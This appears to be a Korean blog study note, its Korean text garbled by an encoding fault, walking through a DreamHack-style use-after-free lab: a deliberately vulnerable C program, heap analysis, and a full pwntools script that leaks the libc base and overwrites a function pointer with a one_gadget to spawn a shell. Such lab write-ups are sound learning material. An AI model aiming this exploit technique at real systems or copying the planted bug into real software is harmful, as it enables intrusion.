
Use After Free ์ต์คํ๋ก์ ์์
// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}
1. ๋ถ์ ๋ฐ ์ค๊ณ
๋ถ์
๋ณดํธ ๊ธฐ๋ฒ ๐ก๏ธ

์์ ์ฝ๋๋ฅผ ์ปดํ์ผ ํ ๋ค checksec๋ก ๋ณดํธ๊ธฐ๋ฒ์ ์ถ๋ ฅํด์ฃผ์๋ค.
๋ชจ๋ ๋ณดํธ ๊ธฐ๋ฒ์ด ์ ์ฉ๋์ด ์๋ ๊ฑธ ํ์ธํ ์ ์๋ค.
Full RELRO์ด๊ธฐ ๋๋ฌธ์ GOT๋ฅผ ๋ฎ์ด์ฐ๋ ๊ณต๊ฒฉ์ ์ด๋ ต๋ค.
โ
โ
์ฝ๋ ๋ถ์ ๐
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
(); };ํฌ๊ธฐ๊ฐ ๊ฐ์ Human, Robot ๊ตฌ์กฐ์ฒด๊ฐ ์ ์๋์ด ์๋ ๊ฑธ ํ์ธํ ์ ์๋ค.
๊ฐ ๊ตฌ์กฐ์ฒด ๋ณ์ ๋๋ ์ํ๋ ํฌ๊ธฐ์ ์ฒญํฌ๋ฅผ ํ ๋นํ๊ณ ํด์ ํ ์ ์๋ค.
โ
โ
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
human_func ํจ์์ robot_func ํจ์๋ฅผ ์ดํด๋ณด๋ฉด, ํด์ ํ ํ ๋นํ ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ์ด๊ธฐํ ํ์ง ์์ ๊ฑธ
ํ์ธํ ์ ์๋ค. Human ๊ตฌ์กฐ์ฒด์ Robot ๊ตฌ์กฐ์ฒด์ ํฌ๊ธฐ๋ ๊ฐ๊ธฐ ๋๋ฌธ์ ํ ๊ตฌ์กฐ์ฒด๋ฅผ ํด์ ํ๊ณ ๋ค๋ฅธ ๊ตฌ์กฐ์ฒด๋ฅผ ํ ๋นํ๋ฉด ํด์ ๋ ๊ตฌ์กฐ์ฒด์ ๊ฐ์ ์ฌ์ฉํ ์ ์๋ Use After Free๊ฐ ๋ฐ์ํ๋ค.
โ
robot_func์์ Robot๋ณ์์ fptr์ด NULL์ด ์๋๋ฉด ์ด๋ฅผ ํธ์ถํด์ฃผ๋ฏ๋ก, Use After Free๋ก ์ด ๋ณ์์ ์ํ๋ ๊ฐ์ ๋จ๊ธฐ๋ฉด ์คํ ํ๋ฆ์ ์กฐ์ํ ์ ์๋ค.
โ
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
custom_func ํจ์๋ฅผ ์ฌ์ฉํ๋ฉด 0x100์ด์์ ํฌ๊ธฐ๋ฅผ ๊ฐ๋ ์ฒญํฌ๋ฅผ ํ ๋นํ๊ณ ํด์ ํ ์ ์๋ค.
์ด ํจ์์์๋ ํด์ ํ ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ์ด๊ธฐํํ์ง ์์์ Use After Free๊ฐ ๋ฐ์ํ ์ ์๋ค.
โ
โ
โ
โ
์ต์คํ๋ก์ ์ค๊ณ
โ
Robot.fptr์ ๊ฐ์ one_gadget์ ์ฃผ์๋ก ๋ฎ์ด์ ์ ธ์ ํ๋ํด๋ณผ ๊ฒ์ด๋ค.
-> libc๊ฐ ๋งคํ๋ ์ฃผ์๋ฅผ ๋จผ์ ๊ตฌํด์ผ ํ๋ค.
โ
1) ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ฆญ
Use After Free ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ libc๊ฐ ๋งคํ๋ ์ฃผ์๋ฅผ ๊ตฌํด์ผํ๋ค.
์ด๋ฅผ ์ํด unsorted bin์ ํน์ง์ ์ด์ฉํด๋ณด๊ณ ์ ํ๋ค.
โ
unsorted bin์ ์ฒ์ ์ฐ๊ฒฐ๋๋ ์ฒญํฌ๋ libc์ ํน์ ์ฃผ์์ ์ด์ค ์ํ ์ฐ๊ฒฐ ๋ฆฌ์คํธ๋ฅผ ํ์ฑํ๋ค.
โถ ์ฒ์ unsorted bin์ ์ฐ๊ฒฐ๋๋ ์ฒญํฌ์ fb์ bk์๋ libc ๋ด๋ถ์ ์ฃผ์๊ฐ ์ฐ์
โ
์์ ์ custom_func ํจ์๋ 0x100๋ฐ์ดํธ ์ด์์ ํฌ๊ธฐ๋ฅผ ๊ฐ๋ ์ฒญํฌ๋ฅผ ํ ๋นํ๋ฏ๋ก, 0x410 ์ดํ์ ํฌ๊ธฐ๋ฅผ ๊ฐ๋ ์ฒญํฌ๋ tcache์ ๋จผ์ ์ฝ์ ๋๋ฏ๋ก, ์ด๋ณด๋ค ํฐ ์ฒญํฌ๋ฅผ ํด์ ํด์ unsorted bin์ ์ฐ๊ฒฐํ๊ณ , ์ด๋ฅผ ์ฌํ ๋นํ์ฌ ๊ฐ์ ์ฝ์ผ๋ฉด libc๊ฐ ๋งคํ๋ ์ฃผ์๋ฅผ ๊ณ์ฐํ ์ ์๋ค.
โ
โป ์ฌ๊ธฐ์ ํด์ ํ ์ฒญํฌ๊ฐ ํ ์ฒญํฌ์ ๋ง๋ฟ์ผ๋ฉด ์๋จ (unsorted bin์ ํฌํจ๋๋ ์ฒญํฌ์ ํ ์ฒญํฌ๋ ๋ณํฉ ๋์์ด๋ฏ๋ก, ์ด ๋์ด ๋ง๋ฟ์ผ๋ฉด ์ฒญํฌ๊ฐ ๋ณํฉ๋๋ค.)
-> ์ฒญํฌ ๋ ๊ฐ๋ฅผ ์ฐ์์ผ๋ก ํ ๋นํ๊ณ , ์ฒ์ ํ ๋นํ ์ฒญํฌ๋ฅผ ํด์ ํด์ผ ํ๋ค.
โ
โ
2) ํจ์ ํฌ์ธํฐ ๋ฎ์ด์ฐ๊ธฐ
Human๊ณผ Robot์ ๊ฐ์ ํฌ๊ธฐ์ ๊ตฌ์กฐ์ฒด - Human ๊ตฌ์กฐ์ฒด๊ฐ ํด์ ๋๊ณ Robot๊ตฌ์กฐ์ฒด๊ฐ ํ ๋น๋๋ฉด,
Robot์ Human์ด ์ฌ์ฉํ๋ ์์ญ์ ์ฌ์ฌ์ฉํจ
Robot์ด ํ ๋น๋ ๋, ์ฌ์ฉํ ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ์ด๊ธฐํํ์ง ์์ผ๋ฏ๋ก Human์ ์ ๋ ฅํ ๊ฐ์ ๊ทธ๋๋ก ์ฌ์ฌ์ฉ๋จ
โ
Human ๊ตฌ์กฐ์ฒด์ age๋ Robot ๊ตฌ์กฐ์ฒด์ fptr๊ณผ ์์น๊ฐ ๊ฐ๋ค.
-> human_func๋ฅผ ํธ์ถํ์ ๋, age์ one_gadget ์ฃผ์๋ฅผ ์ ๋ ฅํ๊ณ , ์ด์ด์ robot_func๋ฅผ ํธ์ถํ๋ฉด
fptr์ ์์น์ ๋จ์์๋ one_gadget์ ํธ์ถ์ํฌ ์ ์๋ค.
โ
โ
โ
โ
3. ์ต์คํ๋ก์
๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ฆญ
custom_func๋ฅผ ์ฌ์ฉํด์ 0x510์ ํฌ๊ธฐ๋ฅผ ๊ฐ๋ ์ฒญํฌ๋ฅผ ํ ๋น, ํด์ ํ ๋ค ๋ค์ ํ ๋นํด์ libc ๋ด๋ถ์ ์ฃผ์๋ฅผ ๊ตฌํ ๊ฒ์ด๋ค.
โ


libc ๋ด๋ถ์ ์ฃผ์์ libc๊ฐ ๋งคํ๋ ์ฃผ์์ ์คํ์ ์ info proc map, vmmap์ผ๋ก ๊ตฌํ ์ ์๋ค.
#!/usr/bin/python3
# Name: uaf_overwrite.py
from pwn import *
p = process("./uaf_overwrite")
def slog(sym, val): success(sym + ": " + hex(val))
def human(weight, age):
p.sendlineafter(">", "1")
p.sendlineafter(": ", str(weight))
p.sendlineafter(": ", str(age))
def robot(weight):
p.sendlineafter(">", "2")
p.sendlineafter(": ", str(weight))
def custom(size, data, idx):
p.sendlineafter(">", "3")
p.sendlineafter(": ", str(size))
p.sendafter(": ", data)
p.sendlineafter(": ", str(idx))
# UAF to calculate the `libc_base`
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)
lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c
slog("libc_base", lb)
slog("one_gadget", og)

โ
โ
โ
ํจ์ ํฌ์ธํฐ ๋ฎ์ด์ฐ๊ธฐ
human->age์ robot->fptr์ด ๊ตฌ์กฐ์ฒด ์์์ ๊ฐ์ ์์น์ ์์์ ์ด์ฉํ๋ฉด,
Use After Free๋ก robot->fptr์ ๊ฐ์ ์ํ๋ ๊ฐ์ผ๋ก ์กฐ์ํ ์ ์๋ค.
# Name: uaf_overwrite.py
from pwn import *
p = process("./uaf_overwrite")
def slog(sym, val): success(sym + ": " + hex(val))
def human(weight, age):
p.sendlineafter(">", "1")
p.sendlineafter(": ", str(weight))
p.sendlineafter(": ", str(age))
def robot(weight):
p.sendlineafter(">", "2")
p.sendlineafter(": ", str(weight))
def custom(size, data, idx):
p.sendlineafter(">", "3")
p.sendlineafter(": ", str(size))
p.sendafter(": ", data)
p.sendlineafter(": ", str(idx))
# UAF to calculate the `libc_base`
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)
lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c
slog("libc_base", lb)
slog("one_gadget", og)
# UAF to manipulate `robot->fptr` & get shell
human("1", og)
robot("1")
p.interactive()
์๋์ ๊ฐ์ด human_age์ one_gadget์ ์ฃผ์๋ฅผ ์ ๋ ฅํ๊ณ , ํด์ ํ ๋ค, robot_func๋ฅผ ํธ์ถํ๋ฉด ์ ธ์ ํ๋ํ ์ ์๋ค.
# UAF to manipulate `robot->fptr` & get shell
human("1", og)
robot("1")โ

'DreamHack > SystemHacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[System Hacking] 2์ฃผ์ฐจ dreamhack stage 12 - (2) (0) | 2022.04.30 |
---|---|
[System Hacking] 2์ฃผ์ฐจ dreamhack stage 12 - (1) (0) | 2022.04.08 |
[System Hacking] 2์ฃผ์ฐจ dreamhack stage 12 (0) | 2022.04.07 |
[System Hacking] 1์ฃผ์ฐจ dreamhack stage 11 - (2) (0) | 2022.04.07 |
[System Hacking] 1์ฃผ์ฐจ Dreamhack stage 11 (0) | 2022.04.07 |